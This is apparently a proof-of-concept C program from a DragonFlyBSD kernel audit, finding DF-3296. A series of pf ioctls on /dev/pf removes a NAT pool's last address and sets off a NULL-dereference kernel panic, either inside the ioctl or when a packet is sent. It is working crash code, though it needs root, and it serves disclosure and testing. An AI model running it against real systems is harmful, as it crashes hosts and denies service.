⬢ DragonFlyBSD Kernel Audit
DF-3296 / trigger_changeaddr.c
← back to finding ↓ download raw
/*
 * DF-3296 — pf DIOCCHANGEADDR PF_CHANGE_REMOVE of a pool's LAST address
 *           NULL-derefs the kernel in pfioctl (pf_ioctl.c:2330-2332).
 *
 * pool->cur = TAILQ_FIRST(&pool->list);      // NULL after last removal
 * PF_ACPY(&pool->counter, &pool->cur->addr.v.a.addr, pca->af);
 *     -> pf_addrcpy(dst, (struct pf_addr *)NULL + 0, AF_INET)
 *     -> reads src->addr32[0] at virtual address 0  -> fatal page fault
 *
 * Trigger path (all raw ioctls on /dev/pf, requires write access ==
 * root on a stock system since /dev/pf is 0600 root:wheel):
 *   DIOCBEGINADDRS  -> pool ticket
 *   DIOCADDADDR     -> one PF_ADDR_ADDRMASK address (10.9.9.9/32) into pf_pabuf
 *   DIOCXBEGIN      -> NAT ruleset ticket
 *   DIOCADDRULE     -> one "nat ... -> 10.9.9.9" rule (pool moves off pabuf)
 *   DIOCXCOMMIT     -> rule becomes ACTIVE, rpool.cur == the one address
 *   DIOCGETRULES    -> active ticket
 *   DIOCCHANGEADDR(action=PF_CHANGE_REMOVE, nr=0, r_action=PF_NAT, r_num=0)
 *                      -> frees the only pooladdr -> panic
 *
 * modes:
 *   ioctl    (default) panic inside the DIOCCHANGEADDR ioctl itself
 *   datapath empty the pool with af=AF_UNSPEC (pf_addrcpy copies nothing,
 *            no ioctl panic), then send one packet matching the NAT rule:
 *            NULL deref happens in pf_map_addr() on the packet path
 *            (pf.c:2693/2712) — proves the invariant break is not just
 *            a local copy issue.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/pf/pfvar.h>

static int dev;

static void
xioc(unsigned long cmd, void *arg, const char *what)
{
	if (ioctl(dev, cmd, arg) == -1) {
		fprintf(stderr, "%s: %s\n", what, strerror(errno));
		exit(2);
	}
}

/* load one NAT rule "-> 10.9.9.9" whose rpool has exactly ONE address */
static u_int32_t
setup_nat_rule(void)
{
	struct pfioc_pooladdr pp;
	struct pfioc_trans trans;
	struct pfioc_trans_e ioe;
	struct pfioc_rule pr;
	u_int32_t pool_ticket;

	memset(&pp, 0, sizeof(pp));
	xioc(DIOCBEGINADDRS, &pp, "DIOCBEGINADDRS");
	pool_ticket = pp.ticket;

	memset(&pp, 0, sizeof(pp));
	pp.ticket = pool_ticket;
	pp.af = AF_INET;
	pp.addr.addr.type = PF_ADDR_ADDRMASK;
	pp.addr.addr.v.a.addr.v4.s_addr = inet_addr("10.9.9.9");
	pp.addr.addr.v.a.mask.v4.s_addr = inet_addr("255.255.255.255");
	xioc(DIOCADDADDR, &pp, "DIOCADDADDR");

	memset(&ioe, 0, sizeof(ioe));
	ioe.rs_num = PF_RULESET_NAT;
	memset(&trans, 0, sizeof(trans));
	trans.size = 1;
	trans.esize = sizeof(ioe);
	trans.array = &ioe;
	xioc(DIOCXBEGIN, &trans, "DIOCXBEGIN");

	memset(&pr, 0, sizeof(pr));
	pr.rule.action = PF_NAT;
	pr.rule.af = AF_INET;
	pr.ticket = ioe.ticket;
	pr.pool_ticket = pool_ticket;
	xioc(DIOCADDRULE, &pr, "DIOCADDRULE");

	xioc(DIOCXCOMMIT, &trans, "DIOCXCOMMIT");

	memset(&pr, 0, sizeof(pr));
	pr.rule.action = PF_NAT;
	xioc(DIOCGETRULES, &pr, "DIOCGETRULES");
	printf("setup: %u active NAT rule(s), active ticket %u\n",
	    pr.nr, pr.ticket);
	return (pr.ticket);
}

static void
trigger_ioctl(u_int32_t ticket)
{
	struct pfioc_pooladdr pca;

	memset(&pca, 0, sizeof(pca));
	pca.action = PF_CHANGE_REMOVE;
	pca.ticket = ticket;
	pca.nr = 0;		/* first (and only) pool address */
	pca.r_num = 0;		/* rule 0 */
	pca.r_action = PF_NAT;
	pca.r_last = 0;
	pca.af = AF_INET;	/* pf_addrcpy reads NULL+0 -> fatal fault */

	printf("trigger: DIOCCHANGEADDR PF_CHANGE_REMOVE last pool addr...\n");
	fflush(stdout);
	if (ioctl(dev, DIOCCHANGEADDR, &pca) == -1)
		printf("trigger: ioctl returned %s (no panic?)\n",
		    strerror(errno));
	else
		printf("trigger: ioctl succeeded (no panic?)\n");
}

static void
trigger_datapath(u_int32_t ticket)
{
	struct pfioc_pooladdr pca;
	struct sockaddr_in sin;
	int s;

	/* af = AF_UNSPEC: pf_addrcpy copies nothing -> pool left EMPTY,
	 * cur == NULL, no ioctl panic. Invariant broken. */
	memset(&pca, 0, sizeof(pca));
	pca.action = PF_CHANGE_REMOVE;
	pca.ticket = ticket;
	pca.nr = 0;
	pca.r_num = 0;
	pca.r_action = PF_NAT;
	pca.r_last = 0;
	pca.af = AF_UNSPEC;
	if (ioctl(dev, DIOCCHANGEADDR, &pca) == -1) {
		printf("trigger: ioctl returned %s (no panic?)\n",
		    strerror(errno));
		return;
	}
	printf("trigger: pool emptied (pool->cur == NULL); sending packet\n");
	fflush(stdout);

	/* one packet through the NAT rule -> pf_get_translation ->
	 * pf_map_addr -> NULL deref */
	s = socket(AF_INET, SOCK_DGRAM, 0);
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(65001);
	sin.sin_addr.s_addr = inet_addr("127.0.0.1");
	sendto(s, "x", 1, 0, (struct sockaddr *)&sin, sizeof(sin));
	printf("trigger: packet sent (no panic?)\n");
	close(s);
}

int
main(int argc, char **argv)
{
	u_int32_t ticket;
	int start_pf = 0;

	if (argc > 2 && strcmp(argv[2], "enable") == 0)
		start_pf = 1;
	dev = open("/dev/pf", O_RDWR);
	if (dev == -1) {
		perror("open /dev/pf");
		return (2);
	}
	ticket = setup_nat_rule();
	if (start_pf)
		xioc(DIOCSTART, NULL, "DIOCSTART"); /* not needed for ioctl path */
	if (argc > 1 && strcmp(argv[1], "datapath") == 0)
		trigger_datapath(ticket);
	else
		trigger_ioctl(ticket);
	return (0);
}